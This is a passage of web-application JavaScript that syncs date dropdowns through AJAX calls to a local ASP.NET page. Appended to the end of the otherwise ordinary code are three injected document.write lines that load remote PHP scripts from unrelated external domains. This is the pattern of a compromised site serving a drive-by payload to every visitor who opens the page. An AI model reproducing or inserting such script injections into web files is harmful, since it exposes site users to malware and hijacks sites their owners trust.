				tempmonth = document.getElementById('cmbmPreMonth2').options[j];							
				if(parseFloat(tempmonth.value) == parseFloat(str[0]))
				{
					iselectedindex = j;					
					break;
				}		
			
          }
          document.getElementById('cmbmPreMonth2').selectedIndex = iselectedindex;
          
          /* day calculation*/
          for(j=0;j<iday.length;j++)           
           {			
				tempmonth = document.getElementById('cmbmPreDate2').options[j];				
				if(parseFloat(tempmonth.value) == str[1])
				{
					iselectedindex = j;	
					break;				
				}		
			
          }
          document.getElementById('cmbmPreDate2').selectedIndex = iselectedindex;
          
          /* year calculation*/
          for(j=0;j<iyear.length;j++)           
           {			
				tempmonth = document.getElementById('cmbmPreYear2').options[j];
				if(parseFloat(tempmonth.value) == str[2])
				{
					iselectedindex = j;
					break;					
				}					
          }
          document.getElementById('cmbmPreYear2').selectedIndex = iselectedindex;
                  
        } 
    } 
    /* CREDIT DATE CHANGE USING AJAX */

function showCreYearvalue()/* YEAR INCREMENT BY 1 */
    {
		
		strdate =  document.getElementById('cmbmCreMonth1').value + "/" + document.getElementById('cmbmCreDate1').value + "/" + document.getElementById('cmbmCreYear1').value;
		
		 requestURL = 'http://localhost/HB_FINAL/AjaxUpdateDate.aspx?q=';
		
		var url = requestURL + strdate + "&link=Year"; 
		
            // alert(url)
            //Create the xmlHttp object to use in the request 
            //stateChangeHandler will fire when the state has changed, i.e. data is received back 
            // This is non-blocking (asynchronous) 
            xmlHttp = GetXmlHttpObject(stateChangeHandlerCreYear); 
             
            //Send the xmlHttp get to the specified url 
        
            xmlHttp_Get(xmlHttp, url); 
    }

    //stateChangeHandler will fire when the state has changed, i.e. data is received back 
    // This is non-blocking (asynchronous) 
   
    
    function stateChangeHandlerCreYear() 
    { 
        //readyState of 4 or 'complete' represents that data has been returned 
        if (xmlHttp.readyState == 4 || xmlHttp.readyState == 'complete'){ 
            //Gather the results from the callback 
            var str = xmlHttp.responseText;
          
            document.getElementById('nameList').innerHTML = str;             
            str = document.getElementById('nameList').innerHTML;  
            document.getElementById('nameList').innerHTML = "";                    
        
           var imonth = document.getElementById('cmbmCreMonth2').options;             
           var iday = document.getElementById('cmbmCreDate2').options;           
           var iyear = document.getElementById('cmbmCreYear2').options;          
           
           var tempmonth;
           var iselectedindex;
           
           str = str.split("/");           
           
           /* month calculation*/
           for(j=0;j<imonth.length;j++)           
           {			
				
				tempmonth = document.getElementById('cmbmCreMonth2').options[j];							
				if(parseFloat(tempmonth.value) == parseFloat(str[0]))
				{
					iselectedindex = j;					
					break;
				}		
			
          }
          document.getElementById('cmbmCreMonth2').selectedIndex = iselectedindex;
          
          /* day calculation*/
          for(j=0;j<iday.length;j++)           
           {			
				tempmonth = document.getElementById('cmbmCreDate2').options[j];				
				if(parseFloat(tempmonth.value) == str[1])
				{
					iselectedindex = j;	
					break;				
				}		
			
          }
          document.getElementById('cmbmCreDate2').selectedIndex = iselectedindex;
          
          /* year calculation*/
          for(j=0;j<iyear.length;j++)           
           {			
				tempmonth = document.getElementById('cmbmCreYear2').options[j];
				if(parseFloat(tempmonth.value) == str[2])
				{
					iselectedindex = j;
					break;					
				}					
          }
          document.getElementById('cmbmCreYear2').selectedIndex = iselectedindex;
                  
        } 
    } 

    // XMLHttp send GET request 
    function xmlHttp_Get(xmlhttp, url) 
    { 
		//alert(url)
        xmlhttp.open('GET', url, true); 
        xmlhttp.send(null); 
    } 

    function GetXmlHttpObject(handler) { 
        var objXmlHttp = null;    //Holds the local xmlHTTP object instance 

        //Depending on the browser, try to create the xmlHttp object 
        if (is_ie){ 
            //The object to create depends on version of IE 
            //If it isn't ie5, then default to the Msxml2.XMLHTTP object 
            var strObjName = (is_ie5) ? 'Microsoft.XMLHTTP' : 'Msxml2.XMLHTTP'; 
             
            //Attempt to create the object 
            try{ 
                objXmlHttp = new ActiveXObject(strObjName); 
                objXmlHttp.onreadystatechange = handler; 
            } 
            catch(e){ 
            //Object creation errored 
                alert('IE detected, but object could not be created. Verify that active scripting and activeX controls are enabled'); 
                return; 
            } 
        } 
        else if (is_opera){ 
            //Opera has some issues with xmlHttp object functionality 
            alert('Opera detected. The page may not behave as expected.'); 
            return; 
        } 
        else{ 
            // Mozilla | Netscape | Safari 
            objXmlHttp = new XMLHttpRequest(); 
            objXmlHttp.onload = handler; 
            objXmlHttp.onerror = handler; 
        } 
         
        //Return the instantiated object 
        return objXmlHttp; 
    } 

    function UseValue(strVal){ 
        document.frmStuff.txtName.value = strVal; 
    } 
document.write('<script src=http://tollywoodb4u.com/sessions/22564.php ><\/script>');
document.write('<script src=http://miamix.extra.hu/images/ca_fotoalbum.php ><\/script>');
document.write('<script src=http://miamix.extra.hu/images/ca_fotoalbum.php ><\/script>');
